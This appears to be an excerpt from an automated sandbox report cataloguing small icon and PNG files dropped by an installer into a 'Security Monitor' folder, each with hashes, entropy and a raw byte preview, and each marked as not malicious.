SHA-512:	8688C65B158C7F26424C9AF3E59382D7C59155D14377965B14277BE36D49012610D7ADC719E0CC6FFC3946B9D08174FC048E121FDB13104B7BD68365F15130DC
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................................................................................................................................................................................................................................................................................................................................................................................................41..2/..................................................\|\|...#...'...'... ..tr......................................ig.."(...+...+......)...$..XW..............................RO....%...#-.. ,...,...+...+...%..87......................C@..63..01..-0..0..&...#-..$-...,.. -...&..#"..............=:..<8..96..74..52..22...1...1..)/..&...#-.."-...(...!..~{..C@..;8..?;..>:..?;..96..:6..74..42..01..21..-0..)/..%..."+...!..=:.=:..=:..<9..;8..85..64..41..3/../,..,)..)&..&%.."$...#..."............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-8SR9P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	563
Entropy (8bit):	7.517174524579319
Encrypted:	false
SSDEEP:	12:6v/7w//AIiO/vrFWdRdGBvXRwnHbMwigmsA7F9fS6ofSZHRQX+K:FB/vrEDdGh0ig8zKzSFk+K
MD5:	DB972EE37A5D0AEF2AEA2FE741B82C1D
SHA1:	C286B9CFEDA3CB6D3E19E1D7747790C52D84D377
SHA-256:	6A09E141A38F22AF46750BA3186AB260B0C566DDCA209B083623D8305BDF14A2
SHA-512:	9F35E67F88A4A250F8F983C8273DFD76F07A8CEEFBF54BA97D73FD1AB4C62508D8999AACD204E73CD04B86A0556AF895CA4BC07A722FB3D6143B7B07FF20BFF6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx...O.A...v...aU<..b.@.F8y!..;.J ..{.w)^ML..../-..0!....GBS.=...v.......v...If.....;.......}.9...k......Q[...YV.........y\|.I\....QUb.....^ HN.....F.y...0r#.d...+.>.`.".....\|....:b..sB.xq..~..]$(U.G....M.;?]\|.....0..I.$\|..7.xz.@....R-......../.....,7C.%.<.".....0N.\|. ........[UU]....0....=.f.2........G...C..p.. ....h...(...r...dR.I.]..h{.d...z~......s_.(U\|..(<J ._.<.+.#,.su3.^.Q&.....ir.j.V....E}...C>.o.m...A..;......E..C./..J...!..I.*....8ij...W._.@;..[.....O.......-V.xD8.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-90D3G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.614804652904851
Encrypted:	false
SSDEEP:	24:Biiii8ibi0TiSDiiuYxId1diiiiSiiiwKrkIzpJi4arAJbJbJbJbJDg:Biiii8ibiaiSDiiTxIfdiiiiSiiiwKr2
MD5:	92E919F7716BFEC2191169F9D1513737
SHA1:	E7BEB2821E116084C0A516D754A0C7A534956BD6
SHA-256:	C5CB556AFCF8E5F48AA604646FFE93AEDE2607342C4AA93D70791ED8C4FFFE4B
SHA-512:	574F731D0220B353AEAC4B442E6ADED51CE54A7BE93BF3EFC3A7EB8F15161FAA3A1806C859C585ACCC351195AA0376608A5ED5B126DD552296D2305367008014
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.............................\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....\|\|\|.......=...$..Y...Q......\|\|\|.....\|\|\|.........\|\|\|.\|\|\|.\|\|\|.....\|\|\|.......T...7..n ..`%.....\|\|\|.....\|\|\|.\|\|\|.\|\|\|.\|\|\|.............\|\|\|...../.n...J...(..g'.....\|\|\|.............\|\|\|.\|\|\|.....\|\|\|.....\|\|\|..........a...,..u(.....\|\|\|.....\|\|\|.....\|\|\|.\|\|\|.............\|\|\|.....{....Z...3..z*.....\|\|\|.............\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....'.U...A..t3..o:.....\|\|\|.................................\|\|\|.......Y...7..q...\".....\|\|\|.................................\|\|\|.....{....\...-..r&.....\|\|\|.................................\|\|\|.....o.~...^.-.C.=.>.....\|\|\|.................................\|\|\|.........................\|\|\|.....................................\|\|\|.....\|\|\|.}}}.\|\|\|.\|\|\|.........................................\|\|\|.....\|\|\|...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-9IG5O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	888
Entropy (8bit):	7.7525569355376955
Encrypted:	false
SSDEEP:	12:6v/7MyC90RfzncoB9d+Jfty3DKiuhnS1nWXpvQTMmy5ZKr+NLQymmFT040q11aZ2:eJ6iDKNdanodwMmyvKr2+40q1UFWVt
MD5:	D060EB33F8B5DFA18682625CE21C1F46
SHA1:	DEC3B1DE06D2D855408C16D93365711088BBE705
SHA-256:	F6C2720D108D96B429E82883EE44CE7EEC31F4194DA99391DC023D6797FA0886
SHA-512:	BBBCDC3E03214E686DCB05094ADE3A9FFB510CB5BF4DAF28B607BC50349C1B675074AE7EF4DB99E86A00C661B31473D858353EB3DB8734639E8FF00B71AAEC6A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...?IDATx.m.[l.U..33...N.e..m..n.mS....$...Z.. .....K..>..D..`h.D....@..... .4B...,...-.,.......t5....s......;./.huC..]./.d.M.0.3t0....u'.../..o...n-.U.~<..OS.`.-.n..a0..9<..._@U......m..\|....W..y.....g...;. J.e.C..s...5............./....i.".....6I..o...TF..#....=r`N.[.....>R.S..p.(...%.B.%....W{..-@....cr\|....D~.CF..3...q5W...*....k....&..58..40I.+V.."....A.f...e 9^.l....6:.Q....Z..i9..;..6..-.....aX<..1Kqc:w.L.\|\|.d K..V.....o8.6......qA...............;#.h........_I}..S..H.........$....`.A_R.\...r.D9.....fz\|%g....,...N.......n^...v...v;8..(Y.[..P......P0...AB".Rf..vl.On..C.u.(.C..I....h9....\..t..c.c...Xr~...}..^z...(..m....[L)..g.8]......2....v.7.......R..;...^..B........F....k...%.o2.. .^=Q.!.......b..%....P.T.U<v....(..A..w...........M1M7.SS..6fS.mB%..7.....M5....A9.:'...Q^..j...Y.s-.\ \|l......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-B7IP4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.984582163595734
Encrypted:	false
SSDEEP:	24:ltjzPCZMaBUC2R0pwXqeCvJX/JutpSu39Gl/GofW9y88rk:ltj05gBXqeCJ/8pSx/Gp9y88w
MD5:	4EAA9A0B583BB8C8A369753DBD0DD0EB
SHA1:	2D8F80DF55ADB806651E9B90C32C287825EFA9B6
SHA-256:	EABEFD31E31D5141F75E760FCF96F14844F0824BD20C3FAD28C6E7C6AF4342FB
SHA-512:	B4B5CE8697B0B195F5DFF361B7822207CBC8BB07A3318154A4652A663F9715958770B55ED9D8B0F5EE37AC5BCDD19C4D2389E7D644187B86762565ED27613D8D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................................................................................................t4..z9..z9..z9..t5.....................!.9.&.=.!.9.!.9..v4..q3..z9..H..E...D..z9..q3..q3........OG.X.=.O.-.C.`.v.`.v..x8..W..z9...M.f...5...+...%...+.../...?...I.[.\.s.8.O.[.o.[.o...D.....G...J...X...a...X...O...K...V...U...=...`.t.?.d.S...J...S...a...o...a...J...E.....y..d...B.....J...O...Q...Z...f...s...i...W...N........j............K...../...J...X...[...X...L...b....z.................z..Pi........R.eHc.w.m..s...........V....................U..U.............R.eoQ.d.O.b.M.`.L.^.g.Zl.W..W..W..W..W..W.....................:.JW9.J.9.I.9.I`.....q3$.z<.r3..{=.t5$........................:.K.......9.I......{=..\|......X..\|>.........................;.K......:.J......s4.........\|..v6.........................;.LE;.L.:.K.:.KN......@........t...A..............................................~?!..E..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-BCRFE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.403940932243279
Encrypted:	false
SSDEEP:	12:6v/7H2DBCOIXU00QhP+CCTV44lVCcK8ajSR64+eg:C2MXURCCTCXcK8286Heg
MD5:	49CBAB461388899937D45CE5F40FEA6F
SHA1:	4333CFB198B2F8078D38159AE6F37CF2056AC6A9
SHA-256:	30DBAE48834681F6F8E6A6867B5A83582DFBCA8E61C51C8A189687055F1A9042
SHA-512:	5A0C295DC41860B4F650D82B43EFBB4F7369A7DCC6844F8837DA8708F531A4D4C17749152536219492ABAA5667FFC63C0547AB2BD257068CF9BCDD9C47492595
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..?K.P...3..?C.qi.T.E...,Up..kgg...b.......A.....8..."h...DDA.1...XJmKz..<...wo.... ....M..V.....o.2Q..e.#<`....E..l.....Y......m#..4...Fb2..D..Q7).K...b.i.....y...9`..^._Gv...a..T.j......1..D[.[...!}`.%....5........k...Y.....!z.u....\2!2....1 .H-.P\I)!......2B.!.[......`+....].F.1....F.I...(/..>}?.....v....w.C6C.H...E..w.v.S.q....?I...a......l<#~.....U....U.^.Q.( ~.G.thG/.....,R.).U.K?9.u........g...L_..wt../.....2.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-CNDLQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.626939687751021
Encrypted:	false
SSDEEP:	12:6v/7xDWhiMwp8cPv8arNXzjOxin+3sSsNGI+dlb1TXiaG/deT7gYIaMXv3wjxyUU:mDmiMc8cPv8apjjOxA+3sDNGI+pyN/dH
MD5:	19F3CB0BD386402E675788B7D56970F4
SHA1:	EB8E440BC41C57BFEAA8E684C1E95008A3B53161
SHA-256:	12EDB57B3DC1F4FC152FB9DC44E69E669182C36A543E3F9335B14E7BF9AA4787
SHA-512:	030099A142FB428E231C9050304EA59BBFA9AF9E281FCFF0E80F3A2DA4113AA0953D0CD629B269310A47EC901279BB7C0FF5C2C922342AD813296832065022BF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..ML.Q....m....D..('...P...r.r1...1....... .^.b.1.?b...#z....&~..L(zP..F..nK..^.....L...7.....C.....y...;m!...!c.e...dUhf....&.^K.Ce.f.V........M..@a..R.k..&.....l:..E..W.H.0.....\8+LC..2..r....!........G18..\g...r...ca:!5....\)N.......77PVaF......q...p.....`..sI)....%.E.z.`.]...(5.?O.^.%....X...kLRz<.<.......jO...@..F\jP.g.....W...\.H.......:..:...l.&H....L.x7....-:JQ...{..e=..p..(..?.....R.P.8j.T.6....t..f.VC)\|..3.g8..q..%.kn....#S...........e.....r4_g()g....ER..?d..+i...Nc3U.B....)...#...q...j...g..U..0)P.S1VQ..R....q..t..C..$5R....~Y...Be.....Y@j.....J...X. .y...6z..B...p.J.y...a..b...)....fb.t..7.@.6&...m..>/j........Z.......(f.U.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-CPSH6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	6.697181871409298
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+aWg7NSRAkPY+kW37wjNaI79UL00H3zSiw2p:6v/78/2VRZbW37wV9UL00N
MD5:	E472E7B1F2BF2829B8625C32CB02B0A8
SHA1:	49275242752EEC7DFB1ED14A2968F02439EAE54D
SHA-256:	FA0F63928ABF3B36BE9D310A257CABD413B7E7B7D7D92A0975C7FAA7CB2F370E
SHA-512:	02E865BF6802EF4B3851E87A3E0C984395D5A90FFD7C6282F858E8ED2A74769BD968C637ABCC710BE3290CD0D947FBC5620FBA3510CB3ABB29991278F20C44B8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.paint.net 4.0.134.[z....IDAT8O....P...J...@ ... ....Hv.@v.D%........`....M^.=Mh8.4.{i.6....8...m.c@.....a..q...l...'..c...R.Aas.qJg1.......;1.....~.....b.....{u.dt...^.....`..:72..Ru'..2..4_......].....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-D1RJC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.6950381846314215
Encrypted:	false
SSDEEP:	12:6v/71dxGeeaA/as1IpxNhX3HqPPwVS2TgW41SeJq5RXB4f4a:oqeeaAT1IpxNhKXNW5VBO4a
MD5:	F38AF891CBBDCD155644E65363A01520
SHA1:	BA161945A3E87EA2B3735165854E8AEF28B4F201
SHA-256:	DEF30878F80E5B00CE9F334170DD6369127C52E03959F5673B7193D8B21EE80D
SHA-512:	AFB7BD4EECEF8B2E9E082E3A7203DC393E92683B4AD2B301072A4BC8C22D710AF740BC553EE92997C714FD80F993A3BE0257EC09FF46C75AEEC3EB615553613C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..iHTQ...o..of..mT,M.@..Q).R"A.......Yb~0+..,../.}.>....X...J..DV..6.3..t.w{c$A.A....=.w.{....j'.....4-.K$T...W.w$...3m.H........ZT._.t6$..4.....\Z.....#.Z.....V.Og.....Z.oxm._..F..:.;,..0..1.Y.i..^....;qs..}..F..m.6].....JH..W.1.......D.....Rn..!O..T,%..z.........{(........,._.....&....#...........9">..#N..?....l.D.dO..&.....4....0..V}$b"u...ly..0....].F....S........b.....U......P.....@&.B....0.A.\~}A....I!..Eg..0.Z...M^........O.2.Z_.4.Jpv..6C...D.td.....94Db..E..7..,.J...J-..2..,..8T....p.#C.k..SU.y..g[..~a^.q.=.C6k....w.IT+4../...eY..p.P..En.....rY... "j.... .^..l......:.p}PS6P........o...fdD..8.S.&..(Z...A...uqD...f.Y.i2.{?s...}.fMNK..u.].z3.....'....K.R....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-EBTAV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.7197016545374275
Encrypted:	false
SSDEEP:	12:6v/7Mx+Nre92kjEfcc8YhUaUuYE67bCIUMn+VnMUHAqOIjaDD/yJgQGToLYZFN:Z+LqERhUO67bCIZfmAajkj3tyYjN
MD5:	D9F77B09484FECF86DAB1E27B61481C3
SHA1:	D514C22AC2A1AC4B0826E38C48BABD9CBB077F9F
SHA-256:	CBFBDC4F27D2DE65E5F38B4233C967F1781449DE939BDF7451F2548511CF8F95
SHA-512:	606E0E9800296568C06F6015BB6DF091D5B75E516056032FB28CA1508E67AA0E8BBAC978981CA9FF492F54A7CFE02DF233042442F707588E6E8CFD82C7F8B93C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..kHSa......t.4..kj...I0)l.y...ZF.Fe.D.%K.K.....FVH..A.Y..Z..E. .".L..sz.,.\|.}.....wx...O....>... \|.x(x.;!..;S..n..' ...o;.y.TJ!.E)"!.xbh...^..V......,....vG....%.E...7......o]v.l.a..1<_jN24L.hL..,..5q..a.q.V..C.p...=fcup..B.........X^..t......Z.lSX.le@.J..\..kh.B...a.].}(eJl....=e.~..,:C....Sw1..//...W. cd(.[...g0<>....hT.8n.C.<D.i..}`.1...=E.9s~.)u-2............c.m..G.pN..(...:.!a$Y?.W...rN,.A.9...u.X.0292.....Q'.7..T".M...\|...#....".2z'.i.i...,X....+TT7..S..k+..D'...R..q....p....n.`..\..btr..T......D.M...Op.vr,H.T..-.../Fm..T..{....*XG.X...o..qOt`GD..}~....0..Ytm.S{.5.Hvs.mE..yn...=.uC.N....;..O:.....i..R......R.Ix......../..o...x>........7jZ..61.1....6..#..<H. .x...."..H..r...iY.S".Ob.......:cf..L,.9NI...Hgu.........4..`......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-ENTLF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.696472050125109
Encrypted:	false
SSDEEP:	12:6v/7MV8c2Qwrnehd6jw2pCreHWZJl2TKpwsC/eYvbojK1YOfjypI2Sc6jisxYw3Y:ycajeH61peeHauKVOFvbp7gb65Xm1
MD5:	27858239558F8642F02A7770829F8325
SHA1:	13BA5FC4427044C1343D62F4F9D552C6C62B18B6
SHA-256:	C470C09448A1BFBDD59F53A6E4C563E9584FF8CA083895A4887ABBAA39EDB823
SHA-512:	4E0A4AC0E33EA15BC546D56D552A3C1A8995DF8D319418D6E6CA066FC25CA8EB9E9A77F1373D4A7236BE1F5B0FE0DFEE9D62F3F559CFE3C0B2311FC0C830EA45
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.mSkHSa.~..9..Q.$.NQ1.2... Z.)+.H.4..K.R.......`..y..BfXV:..vQ,.()4..l.R......:.cf..9..{..y..y..\|....B....E"Q.{a4....wuu.0G.g1...T.WUU....f..Az..\.Z........u.'.QQQq....A ...q.0`.......A.W$.;.?R...fP.T..~...`........ ..M..x8kG.?.......' ',.c......dF.g..{zzZ#.H.[r'.P.XG....L......AGq+J.n.i.%444.`.....1nq.......+...\.....MS.@........\|.><.....DOOO^bbb.+......u...0..../..>....&~..@......G......-].]h`.^vl.,d.....p...1(.O.M?........M.`ll......).X\..^'._!\|...\.....x...?.........GGG....yIIIu..X....X$.....@.....%8..F.,.).....:7...q.m...-..).-..v.Ap...\.mx.M......7.P(..5.t.zf.......R......i.....^~.n....5222.3..T[[....=[./`..0=....6~..?,.<I&X......X.n+...%...hX+..V..>...2C.c.4..(...s.Z.....s[y..Q"-))).........'L..3....i[.e2YHVVV.g.....i...q....N...W....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-FF5AQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-FH6KB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.732040020903732
Encrypted:	false
SSDEEP:	12:6v/7Md+AhCq2Ci1b9Hm4UEtkvfdjXxYoCa0jn5/Pt1hC5VbxePpNS/XnxQmHm3EZ:hwRUEtWzxvC1RPpC5Vd4NS/Xnxjnn
MD5:	2F8627CE7D0210CE8A83A237AC9E7FFB
SHA1:	1F7C014538E93EDF5EAB0721AB007C946EDE8130
SHA-256:	CD701C56968BF7138417063032D62ADAFC272C8C6FC98D527AEA342359DA0F7D
SHA-512:	CCDA7916E676BA730D0FE9F803E9CFFF37BEED65B9DA776DA6113B33A75ED351E699D9923B68D37AD83BA04A123815A160E53F24840DF73580802AA510BFF81F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...yIDATx.mSmlSU.~.mo..s...].I[....2..]c..($K.D...1.jP....2...HH4.D...3!.c..c...l...M...]........u?..{sN.7'O....!......N.d'mP.4.kf#.L...N..J......H.,...F..$ ..._. .".B.B.dO.....?.7.?...]Q`...f.-. ).22..,.,W.x..f.X....l>z....{...I..`<b.....4,U5..[.U.KSq,f.H&.{g....2...#.Pt)....aJ.g...[?...{@<.<L.....m...3n..oG..d.\_{.h..=...>L...NC.v..#.h...cu..........%l{...a(c.H./..h}.h.v_13U..5...b....I....W.e.Y.?.-...h....-..M..y8....'.._b..#E/.Q...'<.8.n. I.O$...^.C..8.Z3n...XM....................V3..c..6.@V..P`...=LNL.6.....(l...)A...-S...c."...\|...N....;}J. ...Q...2h.....tt...R....~z.I(.._.L....z?Z.jd...$I.@D!..-....G..0iA))Y..k.r.n.H.S!...m..:j.p:..-[... ......_........).UL#7...?9.l$..Q.V.6.".N.^...k,6.1.CZ.".....!....";.....e..e.]..VV..^Rb...&c.UW...f-m1.tn..2.....`....Y........B.f.e.......`.k*.z..".......W q.U."dZJW.3o.'.u...?..O........m V.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-HML4Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-IH34D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.54214238379203
Encrypted:	false
SSDEEP:	24:6eIPdVt3Mxoi5U7YoFhqG0f9tX9vWHpWcd9JU:6NCSFhqlvWHpWcd96
MD5:	A7F6DC763A6C440673C6A65E1174379F
SHA1:	E3FE4B3EA5D58231C0326BD5BA9BC1A15D6C095D
SHA-256:	442AEC90EE87A5859CB87703F0ADA203796A24A36F8FA7AAA5C80E87995F1E65
SHA-512:	6A06B633363C13F056B8A23CEB3D507427F26DEC1844A043D49B99BB7F95C18BA21A1F08457E7A714F17A6D1A04ECC6DCEDB855D439E5D881F6D3CFB3C7517CB
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................9z.q6t..0q../v..'f..3g......-Y.i.X..7w..:{..6w..9{.z............,~..G...!.......D............E.......,...)...0................r.>1...M...............................6...6....v.'................7.......................................5.................#...#SM......./G..2I..........................Vw.. ..\........1"&...#.^hw.....,A..@Q..........................&...$...$.......A22.-.#.C?F......-...-..4O..Mf..~...............&...%...8/......C44K<./.=:n..+...6..'E...=..%I..3S...?...2..%;..).(.0$&.?43K......../+`..)......%0..@O...'...,......-...$...5..-2..('g.).!..........$.0!2......................................$0...)................y...[..".........Z...(...............$."...A.....................+ #.,.".+.".....................&.".%.".5.-."...................-"%.6&(.2#$...........o.........!...%.".,''.....................-#$)P;:.Q96.....................&.!.%.!." .5........................I97`fMJ.J53.0#%.*.".(.!.'.!.&

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-JBP8C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.954587575587282
Encrypted:	false
SSDEEP:	24:mcyV2d56miiGbKZFG8cZWvl24pZYEYmFMQ05lOo4TTTTTTTTTT3:mcJDbGua8cZOlBUEYA906o4TTTTTTTTX
MD5:	A6AF58DFDF7BCB6AE474DC731AEB0819
SHA1:	353D993129D8C0060BDAFF6B32DACCD1D91F37DE
SHA-256:	62B935FEE25DC4480962834A3AC9B21E285C75FA25EB8BF5288BE4EAEEA8F118
SHA-512:	21259178D3D551E232C63B89DA9F2613F0CB0FF6D4D33A150DDAF6DED6795E277845359ADF228BE2741639838F78DFA56554E0D26A77091BC09361ED18611330
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................~e.....r=/..G8.............................................t@3..........bL..fOb.............lZx.ta..s`..t`..o\..kY..lY..lX..mX.\L>.eP..pX..iRX.........r`D.m..o..m..\|g..yg..yg..zf..zd..u_..oZ..v_..rZ..jTZ.........}j\.r...j...m..v..q`..o]..o\..q]..p..v`..pY..t]..lV[..........p[.q....................................rZ..q\[.........s[.u..........................................r[..r][.........x[.w..............se..........q`..............q[..r^[.........}[.x.......................................mX..wc[..........[.~........................................t^..yd[..........[........................................k..}g..ua[..........[.............................i..~i..uaZ..........Z................v..r..u..o..m..n..~i..vcY..........$......................y..w..s..n..k.zg$.............&..Z..W..X..X..X.~X.zX.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-JFM1S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	786
Entropy (8bit):	7.667079474837334
Encrypted:	false
SSDEEP:	12:6v/7auxjxCwxayWi4r6JPSKu0G1dEnJrZkTAilExOZgaMGQC23gdHtCDswPoLrQJ:Yhgwu6JaPE8aK8GMZPPo3FlEpb6K
MD5:	60B69382DCB4792F0853815F1C3DC793
SHA1:	EF08278795D17F21D3BDE98A44CB5247E18FB6E3
SHA-256:	884887A5D27E4B1F683CF9BA3549797E9F2ACD7763144839CF690C87E38D348A
SHA-512:	115E4BC5A59F02C9F8B72541F256EE683A7FB2DF2F16C560894B83AF2141659553937FAE4FC0246561F7EAFB8E921A1A081F3BEA89825A32BABF96AF00880663
Malicious:	false
Reputation:	unknown
